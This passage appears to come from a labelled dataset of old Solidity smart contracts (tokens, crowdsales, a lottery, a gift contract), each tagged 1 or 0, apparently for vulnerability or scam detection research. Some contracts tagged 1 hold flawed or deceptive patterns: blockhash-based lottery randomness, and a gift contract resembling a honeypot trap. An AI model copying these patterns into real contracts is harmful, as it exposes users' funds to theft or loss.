function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public pure returns (uint256) {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function buyPrice() public pure returns (uint256) {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
function calculateTokensReceived(uint256 _ethereumToSpend) public pure returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum) internal returns (uint256) {
address _customerAddress = msg.sender;
address _referredBy = referrals[msg.sender];
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _maintenance = SafeMath.div(SafeMath.mul(_undividedDividends,maintenanceFee),100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, SafeMath.add(_referralBonus,_maintenance));
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
uint256 _tokenAllocation = SafeMath.div(_incomingEthereum,2);
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
referralBalance_[maintenanceAddress] = SafeMath.add(referralBalance_[maintenanceAddress], _maintenance);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
relay.relay(maintenanceAddress,_tokenAllocation);
relay.relay(_customerAddress,_tokenAllocation);
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal pure returns (uint256) {
return SafeMath.mul(_ethereum, tokenRatio_);
}
function tokensToEthereum_(uint256 _tokens) internal pure returns (uint256) {
return SafeMath.div(_tokens, tokenRatio_);
}
} | 1 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
}
contract LuckyBaby is Ownable, SafeMath {
ERC20 public token;
bool public activityClosed = false;
uint public maxGasPrice = 30000000000;
struct LuckyItem {
address luckyMan;
uint amount;
}
LuckyItem[] public history;
uint public tokenRewardRate;
uint public minTicket;
uint public maxTicket;
function () payable public {
if (msg.sender == owner) {
return;
}
require(!activityClosed);
require(tx.gasprice <= maxGasPrice);
require(msg.value >= minTicket);
require(msg.value <= maxTicket);
award(msg.value, msg.sender);
}
function award (uint amount, address add) private {
uint random_number = (uint(block.blockhash(block.number-1)) - uint(add)) % 100;
if (random_number == 0) {
uint reward = safeMult(amount, 100);
require(address(this).balance >= reward);
add.transfer(reward);
LuckyItem memory item = LuckyItem({luckyMan:add, amount:reward});
history.push(item);
}
if (token.balanceOf(this) >= tokenRewardRate) {
token.transfer(add, tokenRewardRate);
}
}
function LuckyBaby() public {
token = ERC20(address(0x00));
tokenRewardRate = 20*10**18;
minTicket = 10**16;
maxTicket = 10**17;
}
function setToken(ERC20 newToken) onlyOwner public {
token = newToken;
}
function setMaxGasPrice(uint max) onlyOwner public {
maxGasPrice = max;
}
function setActivityState(bool close) onlyOwner public {
activityClosed = close;
}
function setTokenRewardRate(uint rate) onlyOwner public {
tokenRewardRate = rate;
}
function setMaxTicket(uint max) onlyOwner public {
maxTicket = max;
}
function withdrawToken(uint amount) onlyOwner public {
uint256 leave = token.balanceOf(this);
if (leave >= amount) {
token.transfer(owner, amount);
}
}
function withdrawEther(uint amount) onlyOwner public {
owner.transfer(amount);
}
function clear() onlyOwner public {
uint leave = token.balanceOf(this);
if (leave > 0) {
token.transfer(owner, leave);
}
uint balance = address(this).balance;
if (balance > 0) {
owner.transfer(balance);
}
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract HardcapToken is CappedToken, PausableToken, BurnableToken {
uint256 private constant TOKEN_CAP = 100 * 10**24;
string public constant name = "Welltrado token";
string public constant symbol = "WTL";
uint8 public constant decimals = 18;
function HardcapToken() public CappedToken(TOKEN_CAP) {
paused = true;
}
}
contract HardcapCrowdsale is Ownable {
using SafeMath for uint256;
struct Phase {
uint256 capTo;
uint256 rate;
}
uint256 private constant TEAM_PERCENTAGE = 10;
uint256 private constant PLATFORM_PERCENTAGE = 25;
uint256 private constant CROWDSALE_PERCENTAGE = 65;
uint256 private constant MIN_TOKENS_TO_PURCHASE = 100 * 10**18;
uint256 private constant ICO_TOKENS_CAP = 65 * 10**24;
uint256 private constant FINAL_CLOSING_TIME = 1529928000;
uint256 private constant INITIAL_START_DATE = 1524484800;
uint256 public phase = 0;
HardcapToken public token;
address public wallet;
address public platform;
address public assigner;
address public teamTokenHolder;
uint256 public weiRaised;
bool public isFinalized = false;
uint256 public openingTime = 1524484800;
uint256 public closingTime = 1525089600;
uint256 public finalizedTime;
mapping (uint256 => Phase) private phases;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event TokenAssigned(address indexed purchaser, address indexed beneficiary, uint256 amount);
event Finalized();
modifier onlyAssginer() {
require(msg.sender == assigner);
_;
}
function HardcapCrowdsale(address _wallet, address _platform, address _assigner, HardcapToken _token) public {
require(_wallet != address(0));
require(_assigner != address(0));
require(_platform != address(0));
require(_token != address(0));
wallet = _wallet;
platform = _platform;
assigner = _assigner;
token = _token;
phases[0] = Phase(15 * 10**23, 1250);
phases[1] = Phase(10 * 10**24, 1200);
phases[2] = Phase(17 * 10**24, 1150);
phases[3] = Phase(24 * 10**24, 1100);
phases[4] = Phase(31 * 10**24, 1070);
phases[5] = Phase(38 * 10**24, 1050);
phases[6] = Phase(47 * 10**24, 1030);
phases[7] = Phase(56 * 10**24, 1000);
phases[8] = Phase(65 * 10**24, 1000);
}
function () external payable {
buyTokens(msg.sender);
}
function setTeamTokenHolder(address _teamTokenHolder) onlyOwner public {
require(_teamTokenHolder != address(0));
require(teamTokenHolder == address(0));
teamTokenHolder = _teamTokenHolder;
}
function buyTokens(address _beneficiary) public payable {
_processTokensPurchase(_beneficiary, msg.value);
}
function assignTokensToMultipleInvestors(address[] _beneficiaries, uint256[] _tokensAmount) onlyAssginer public {
require(_beneficiaries.length == _tokensAmount.length);
for (uint i = 0; i < _tokensAmount.length; i++) {
_processTokensAssgin(_beneficiaries[i], _tokensAmount[i]);
}
}
function assignTokens(address _beneficiary, uint256 _tokensAmount) onlyAssginer public {
_processTokensAssgin(_beneficiary, _tokensAmount);
}
function finalize() onlyOwner public {
require(teamTokenHolder != address(0));
require(!isFinalized);
require(_hasClosed());
require(finalizedTime == 0);
HardcapToken _token = HardcapToken(token);
uint256 _tokenCap = _token.totalSupply().mul(100).div(CROWDSALE_PERCENTAGE);
require(_token.mint(teamTokenHolder, _tokenCap.mul(TEAM_PERCENTAGE).div(100)));
require(_token.mint(platform, _tokenCap.mul(PLATFORM_PERCENTAGE).div(100)));
uint256 _tokensToBurn = _token.cap().sub(_token.totalSupply());
require(_token.mint(address(this), _tokensToBurn));
_token.burn(_tokensToBurn);
require(_token.finishMinting());
_token.transferOwnership(wallet);
Finalized();
finalizedTime = _getTime();
isFinalized = true;
}
function _hasClosed() internal view returns (bool) {
return _getTime() > FINAL_CLOSING_TIME || token.totalSupply() >= ICO_TOKENS_CAP;
}
function _processTokensAssgin(address _beneficiary, uint256 _tokenAmount) internal {
_preValidateAssign(_beneficiary, _tokenAmount);
uint256 _leftowers = 0;
uint256 _tokens = 0;
uint256 _currentSupply = token.totalSupply();
bool _phaseChanged = false;
Phase memory _phase = phases[phase];
while (_tokenAmount > 0 && _currentSupply < ICO_TOKENS_CAP) {
_leftowers = _phase.capTo.sub(_currentSupply);
if (_leftowers < _tokenAmount) {
_tokens = _tokens.add(_leftowers);
_tokenAmount = _tokenAmount.sub(_leftowers);
phase = phase + 1;
_phaseChanged = true;
} else {
_tokens = _tokens.add(_tokenAmount);
_tokenAmount = 0;
}
_currentSupply = token.totalSupply().add(_tokens);
_phase = phases[phase];
}
require(_tokens >= MIN_TOKENS_TO_PURCHASE || _currentSupply == ICO_TOKENS_CAP);
if (_phaseChanged) {
_changeClosingTime();
}
require(HardcapToken(token).mint(_beneficiary, _tokens));
TokenAssigned(msg.sender, _beneficiary, _tokens);
}
function _processTokensPurchase(address _beneficiary, uint256 _weiAmount) internal {
_preValidatePurchase(_beneficiary, _weiAmount);
uint256 _leftowers = 0;
uint256 _weiReq = 0;
uint256 _weiSpent = 0;
uint256 _tokens = 0;
uint256 _currentSupply = token.totalSupply();
bool _phaseChanged = false;
Phase memory _phase = phases[phase];
while (_weiAmount > 0 && _currentSupply < ICO_TOKENS_CAP) {
_leftowers = _phase.capTo.sub(_currentSupply);
_weiReq = _leftowers.div(_phase.rate);
if (_weiReq < _weiAmount) {
_tokens = _tokens.add(_leftowers);
_weiAmount = _weiAmount.sub(_weiReq);
_weiSpent = _weiSpent.add(_weiReq);
phase = phase + 1;
_phaseChanged = true;
} else {
_tokens = _tokens.add(_weiAmount.mul(_phase.rate));
_weiSpent = _weiSpent.add(_weiAmount);
_weiAmount = 0;
}
_currentSupply = token.totalSupply().add(_tokens);
_phase = phases[phase];
}
require(_tokens >= MIN_TOKENS_TO_PURCHASE || _currentSupply == ICO_TOKENS_CAP);
if (_phaseChanged) {
_changeClosingTime();
}
if (msg.value > _weiSpent) {
uint256 _overflowAmount = msg.value.sub(_weiSpent);
_beneficiary.transfer(_overflowAmount);
}
weiRaised = weiRaised.add(_weiSpent);
require(HardcapToken(token).mint(_beneficiary, _tokens));
TokenPurchase(msg.sender, _beneficiary, _weiSpent, _tokens);
if (msg.value > 0) {
wallet.transfer(_weiSpent);
}
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
if (closingTime < _getTime() && closingTime < FINAL_CLOSING_TIME && phase < 8) {
phase = phase.add(_calcPhasesPassed());
_changeClosingTime();
}
require(_getTime() > INITIAL_START_DATE);
require(_getTime() >= openingTime && _getTime() <= closingTime);
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(phase <= 8);
require(token.totalSupply() < ICO_TOKENS_CAP);
require(!isFinalized);
}
function _preValidateAssign(address _beneficiary, uint256 _tokenAmount) internal {
if (closingTime < _getTime() && closingTime < FINAL_CLOSING_TIME && phase < 8) {
phase = phase.add(_calcPhasesPassed());
_changeClosingTime();
}
require(_beneficiary != assigner);
require(_beneficiary != platform);
require(_beneficiary != wallet);
require(_beneficiary != teamTokenHolder);
require(_getTime() >= openingTime && _getTime() <= closingTime);
require(_beneficiary != address(0));
require(_tokenAmount > 0);
require(phase <= 8);
require(token.totalSupply() < ICO_TOKENS_CAP);
require(!isFinalized);
}
function _changeClosingTime() internal {
closingTime = _getTime() + 7 days;
if (closingTime > FINAL_CLOSING_TIME) {
closingTime = FINAL_CLOSING_TIME;
}
}
function _calcPhasesPassed() internal view returns(uint256) {
return _getTime().sub(closingTime).div(7 days).add(1);
}
function _getTime() internal view returns (uint256) {
return now;
}
}
contract TeamTokenHolder is Ownable {
using SafeMath for uint256;
uint256 private LOCKUP_TIME = 24;
HardcapCrowdsale crowdsale;
HardcapToken token;
uint256 public collectedTokens;
function TeamTokenHolder(address _owner, address _crowdsale, address _token) public {
owner = _owner;
crowdsale = HardcapCrowdsale(_crowdsale);
token = HardcapToken(_token);
}
function collectTokens() public onlyOwner {
uint256 balance = token.balanceOf(address(this));
uint256 total = collectedTokens.add(balance);
uint256 finalizedTime = crowdsale.finalizedTime();
require(finalizedTime > 0 && getTime() >= finalizedTime.add(months(3)));
uint256 canExtract = total.mul(getTime().sub(finalizedTime)).div(months(LOCKUP_TIME));
canExtract = canExtract.sub(collectedTokens);
if (canExtract > balance) {
canExtract = balance;
}
collectedTokens = collectedTokens.add(canExtract);
assert(token.transfer(owner, canExtract));
TokensWithdrawn(owner, canExtract);
}
function months(uint256 m) internal pure returns (uint256) {
return m.mul(30 days);
}
function getTime() internal view returns (uint256) {
return now;
}
function claimTokens(address _token) public onlyOwner {
require(_token != address(token));
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
HardcapToken _hardcapToken = HardcapToken(_token);
uint256 balance = _hardcapToken.balanceOf(this);
_hardcapToken.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event TokensWithdrawn(address indexed _holder, uint256 _amount);
} | 0 |
pragma solidity ^0.4.19;
contract PRESENT_1_ETH
{
address sender;
address reciver;
bool closed = false;
uint unlockTime;
function PutGift(address _reciver)
public
payable
{
if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
{
sender = msg.sender;
reciver = _reciver;
unlockTime = now;
}
}
function SetGiftTime(uint _unixTime)
public
{
if(msg.sender==sender)
{
unlockTime = _unixTime;
}
}
function GetGift()
public
payable
{
if(reciver==msg.sender&&now>unlockTime)
{
msg.sender.transfer(this.balance);
}
}
function CloseGift()
public
{
if(sender == msg.sender && reciver != 0x0 )
{
closed=true;
}
}
function() public payable{}
} | 1 |
pragma solidity ^0.4.21 ;
contract RUSS_PFX_II_883 {
mapping (address => uint256) public balanceOf;
string public name = " RUSS_PFX_II_883 " ;
string public symbol = " RUSS_PFX_II_IMTD " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 795027641621674000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20() public {
totalSupply = 600000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "Fintechstar Token";
symbol = "FST";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.21;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract FECT is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function FECT() public {
symbol = "FECT";
name = "FECT";
decimals = 18;
_totalSupply = 10000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId = false;
bool public requiredSignedAddress = false;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
